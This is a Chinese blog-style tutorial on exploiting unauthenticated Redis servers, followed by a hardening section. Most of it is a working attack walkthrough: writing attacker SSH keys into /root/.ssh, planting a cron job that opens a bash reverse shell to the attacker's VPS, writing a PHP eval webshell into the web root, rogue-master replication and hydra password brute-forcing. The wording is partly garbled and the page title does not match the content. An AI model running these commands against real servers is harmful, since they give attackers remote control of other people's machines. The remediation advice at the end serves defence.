首页 » Web前端 » phpredis无法读取技巧_Redis未授权getshell及修复筹划

phpredis无法读取技巧_Redis未授权getshell及修复筹划

duote123 2024-11-21 0

扫一扫用手机浏览

文章目录 [+]

虚的不说了,大略点说便是一个日志型数据库,并有主从同步的功能(优化性能)。

漏洞先容

默认配置下redis并没有设置密码,被攻击者恶意利用可以导致未授权访问,可以有多种利用办法:做事器权限被获取和数据删除、透露、加密打单、植入yam2 minerd 挖矿程序、watch-smartd挖矿木马等

phpredis无法读取技巧_Redis未授权getshell及修复筹划

安装redis

docker run -itd --name redis-test -p 6379:6379 redis常用命令

ping:检测是否连通 且 有权限实行命令

phpredis无法读取技巧_Redis未授权getshell及修复筹划
(图片来自网络侵删)

info:读取Redis敏感数据

keys:

NAMECONTENTkeys 读取全部key及其对应的值get <key>读取某个key值set <key>增加keyflushall删除所有keydel key删除某个key

config:

NAMECONTENTconfig get dir读取备份目录config set dir设置备份目录config get dbfilename读取备份文件名config set dbfilename设置备份文件名

slaveof:slaveof <vpsIP> PORT 设置主从关系

未授权getshell写入公钥

条件:拥有root权限 或 对 /root/.ssh/ 目录可写

#vps天生一个公钥ssh-keygen-trsa#将公钥写入靶机的keycd/root/.ssh(echo-e"\n\n";catid_rsa.pub;echo-e"\n\n") > cl4y.txtcatcl4y.txt | redis-cli-h<targetIP>-xsetcl4y#-x参数是将管道符之前的内容写入key

config set dir /root/.ssh/#如果没有权限则无法getshellconfig set dbfilename "authorized_keys"get cl4ysavecrontab定时任务反弹shell

条件:对 /var/spool/cron 目录可写

#vps监听一个端口nc-lvvp4444

set cl4y "\n\n/1 /bin/bash -i>&/dev/tcp/<vpsIP>/<PORT> 0>&1\n\n"config set dir /var/spool/cron#如果没有权限则无法getshellconfig set dbfilename rootsave网站写马

条件:已知网站根目录路径 且 目录可写

config set dir /var/www/htmlset cl4y "\n\n\n<?php @eval($_POST['cl4y']);?>\n\n\n"config set dbfilename webshell.phpsave主从复制getshell

条件:这个比较玄学,测试了几台机器,只有一台成功了,咱也不知道为啥,希望师傅们知道的话能跟我说一下。

下载 这个项目然后命令:

#设置主从关系slaveof <IP> <PORT>

python3 redis-rogue-server.py--rhost<targetIP>-lhost<vpsIP>

利用hydra暴力破解redis的密码

利用hydra工具可以对redis进行暴力破解

hydra -P passwd.txt redis://192.168.152.128修复方案ban掉高危命令(重启redis)

#修正 redis.conf 文件,禁用远程修正 DB 文件地址rename-command FLUSHALL ""rename-command CONFIG ""rename-command EVAL ""#或者通过修正redis.conf文件,改变这些高危命令的名称rename-command FLUSHALL "name1"rename-command CONFIG "name2"rename-command EVAL "name3"以低权限运行Redis(重启redis)

链接

Redis 设置密码(重启redis)

修正 redis.conf 文件,添加 requirepass mypassword禁止外网访问 Redis(重启redis)

修正 redis.conf 文件,添加或修正 bind 127.0.0.1在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没有配置密码访问时都会报错修正默认端口

修正配置文件redis.conf文件 Port 6379担保 authorized_keys 文件的安全

阻挡其他用户添加新的公钥。
将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限:chmod 400 ~/.ssh/authorized_keys为担保 authorized_keys 的权限不会被改掉,您还须要设置该文件的 immutable 位权限:chattr +i ~/.ssh/authorized_keys然而,用户还可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目录和 authorized_keys 文件。
要避免这种情形,须要设置 ~./ssh 的 immutable 权限:chattr +i ~/.ssh

设置防火墙策略  

如果正常业务中Redis做事须要被其他做事器来访问,可以设置iptables策略仅许可指定的IP来访问Redis做事。

标签:

相关文章